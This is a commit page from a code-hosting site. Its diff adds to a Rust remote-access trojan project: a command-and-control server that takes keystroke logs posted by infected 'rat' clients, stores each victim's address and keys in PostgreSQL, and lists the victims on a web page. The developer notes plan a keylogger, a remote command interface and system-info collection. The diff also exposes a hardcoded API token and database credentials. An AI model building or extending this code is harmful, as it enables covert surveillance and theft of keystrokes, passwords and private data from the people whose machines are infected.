Skip to content
Snippets Groups Projects
Commit 4af1fc76 authored by leo.muff's avatar leo.muff
Browse files

api auth ok

parent 4c59f492
No related branches found
No related tags found
No related merge requests found
......@@ -11,3 +11,4 @@ API_TOKEN = "cbbYrcu6BkM6dSnmzMU0BWZMlxqrIboT"
#NEEDED FOR SERVER
ROCKET_DATABASES='{ratdb={url = "postgres://ratmaster:R47M4573R@0.0.0.0/ratdb"}}'
ROCKET_TEMPLATE_DIR="c2/templates"
\ No newline at end of file
This diff is collapsed.
......@@ -14,3 +14,6 @@ serde = { version = "1.0", features = ["derive"] }
version = "=0.1.0-rc.3"
features = ["diesel_postgres_pool"]
[dependencies.rocket_dyn_templates]
version = "=0.1.0-rc.3"
features = ["tera"]
\ No newline at end of file
use crate::server::{DbConnection, ApiClient};
use rocket_sync_db_pools::diesel::{self, RunQueryDsl, PgConnection,QueryDsl, ExpressionMethods};
use rocket::{http::Status, response::status};
use sharedlib::{
schema::{keys,clients},
models::{NewClient, Client}
};
use diesel::prelude::QueryResult;
use diesel::result::Error;
pub async fn add_user(db_conn:&DbConnection, token:ApiClient) -> Result<Client,status::Custom<String>>{
let clients:QueryResult<i32> = db_conn.run(move |conn:&mut PgConnection|
clients::table.filter(clients::address.eq(token.socketaddr.to_string())).select(clients::id).first::<i32>(conn)).await;
match clients {
Ok(id) => Ok(Client { id: id, address: token.socketaddr.to_string()}),
Err(e) =>
match e {
Error::NotFound => {
let new_client = NewClient{address: token.socketaddr.to_string()};
db_conn.run(|conn| {
diesel::insert_into(clients::table).values(new_client).execute(conn) // TODO: log this
}).await.map_err(|e| status::Custom(Status::InternalServerError, e.to_string()))?;
let client_id = db_conn.run(move |conn:&mut PgConnection|
clients::table.filter(clients::address.eq(token.socketaddr.to_string())).select(clients::id).first::<i32>(conn)).await
.map_err(|e| status::Custom(Status::InternalServerError, e.to_string()))?;
Ok(Client { id: client_id, address: token.socketaddr.to_string()})
}
_ => Err(status::Custom(Status::InternalServerError, e.to_string()))
},
}
}
\ No newline at end of file
pub mod backup;
pub mod server;
pub mod routes;
pub mod db;
\ No newline at end of file
......@@ -8,6 +8,7 @@ use std::sync::Mutex;
use c2::backup::{DataFile, DataType};
use c2::server::DbConnection;
use c2::routes::{home, get_keys, show_keys};
use rocket_dyn_templates::Template;
#[macro_use] extern crate rocket;
......@@ -30,14 +31,11 @@ fn rocket() -> _ {
let _ = load_dotenv().map_err(|e| println!("Error setting database url : {:?}", e));
print!("Creating log files ...");
let keys_file = Mutex::new(DataFile::new(DataType::Keys));
println!(" ok");
let build = rocket::build().attach(DbConnection::fairing()); // load diesel qui gère la db
let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing());
println!("Connecting to database ...");
build.mount("/", routes![home, get_keys, show_keys])
.register("/", catchers![not_found, internal_error])
......
use rocket::{get, post};
use rocket::{State, http::Status, serde::json::Json, response::status};
use rocket_sync_db_pools::diesel::{self, RunQueryDsl, PgConnection,QueryDsl, ExpressionMethods};
use rocket_sync_db_pools::diesel::{self, RunQueryDsl, PgConnection,QueryDsl};
use sharedlib::errors::DbError;
use std::sync::{Arc,Mutex};
use crate::backup::DataFile;
use crate::server::{Response, DbConnection , ApiClient};
use sharedlib::{
schema::{keys,clients},
models::{Keys, NewKeys, KeysData, NewClient}
models::{Keys, NewKeys, KeysData,Client}
};
use rocket_dyn_templates::{Template, context};
use crate::db::add_user;
#[get("/")]
pub fn home() -> &'static str {
"Hello, world!"
}
pub async fn home(db_conn:DbConnection) -> Result<Template, status::Custom<String>>{
let clients = db_conn.run(|conn:&mut PgConnection|
clients::table.order(clients::id).load::<Client>(conn)).await.map_err(|e|
status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?;
Ok(Template::render("clients", context! {clients}))
#[post("/key", data = "<keys_data>")]
pub async fn get_keys(keys_data: Json<KeysData>, token:ApiClient, data:&State<Mutex<Option<DataFile>>>, db_conn:DbConnection) -> Result<Json<Response>,status::Custom<String>> {
}
let clients:i64 = db_conn.run(move |conn:&mut PgConnection|
clients::table.filter(clients::address.eq(token.socketaddr.to_string())).count().get_result::<i64>(conn)).await
.map_err(|e| status::Custom(Status::InternalServerError, e.to_string()))?;
#[post("/key", data = "<keys_data>")]
pub async fn get_keys(keys_data: Json<KeysData>, client:ApiClient, data:&State<Mutex<Option<DataFile>>>, db_conn:DbConnection) -> Result<Json<Response>,status::Custom<String>> {
if clients == 0 {
let new_client = NewClient{address: token.socketaddr.to_string()};
db_conn.run(|conn| {
diesel::insert_into(clients::table).values(new_client).execute(conn) // TODO: log this
}).await.map_err(|e| status::Custom(Status::InternalServerError, e.to_string()))?;
}
// add user to db if not present
let client_token = add_user(&db_conn, client).await?;
let keys = Arc::new(NewKeys{data:String::from(&keys_data.data), ts:String::from(&keys_data.ts), client_id: 0});
let keys = Arc::new(NewKeys{data:String::from(&keys_data.data), ts:String::from(&keys_data.ts), client_id: client_token.id});
let keys_cpy = keys.clone();
let keys2 = keys_cpy.clone();
db_conn.run(move |conn| {
......@@ -39,8 +37,7 @@ pub async fn get_keys(keys_data: Json<KeysData>, token:ApiClient, data:&State<Mu
.map_err(|e| println!("Error inserting data {:?}", e)); // TODO: log this
}).await;
let result_str = format!("{} @ {} ; {}\n",token.socketaddr, keys2.ts, &keys2.data );
let result_str = format!("{} @ {} ; {}\n",client_token.address, keys2.ts, &keys2.data );
match data.lock(){
Ok(mut data) =>
if let Some(data) = &mut *data {
......@@ -65,3 +62,5 @@ pub async fn show_keys(db_conn:DbConnection) -> Result<Json<Vec<Keys>>, status::
keys
}
......@@ -17,7 +17,6 @@ pub struct Response { //TODO: BETTER
pub status:String
}
pub struct ApiClient{
pub socketaddr:SocketAddr
}
......@@ -49,7 +48,6 @@ impl<'r> FromRequest<'r> for ApiClient {
}
},
None => Outcome::Failure((Status::InternalServerError,ApiAuthError::ServerError))
}
}
}
......
{% for client in clients %}
{{loop.index}}. {{client.address}}
{% endfor %}
\ No newline at end of file
......@@ -7,25 +7,19 @@
## functions
- command api + client + command interface + data log --> get pour les commande et post pour leur resultat
- api pour client configuration (api endpoints, etc) --> client gets conf updates from server
- sysinfo api + client
- client auth
- error log --> keylogger sould log error not print it to stdr (maybe send it later to serv ?)
- some frontend (yew)
- db --> ok
- api pour client configuration (api endpoints, etc) --> client gets conf updates from server --> dans commandes
- sysinfo api + client --> dans commandes
- error log --> keylogger sould log error not print it to stdout (maybe send it later to serv ?)
- some frontend --> templates
## cleanup / optimisation
- config file + check for depedencies --> dotenv crate ? --> conf ok
- create common module with redondant code between rat/client.rs and c2/server.rs --> ok
- remove unwrap from backup.rs new --> ok
- remove unwrap in keylogger (3) --> ok
- améliorer gestion erreur
- move db operation to db.rs
- move log operation to log.rs
# questions
- handling errors in threads
- shared config values
# API
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment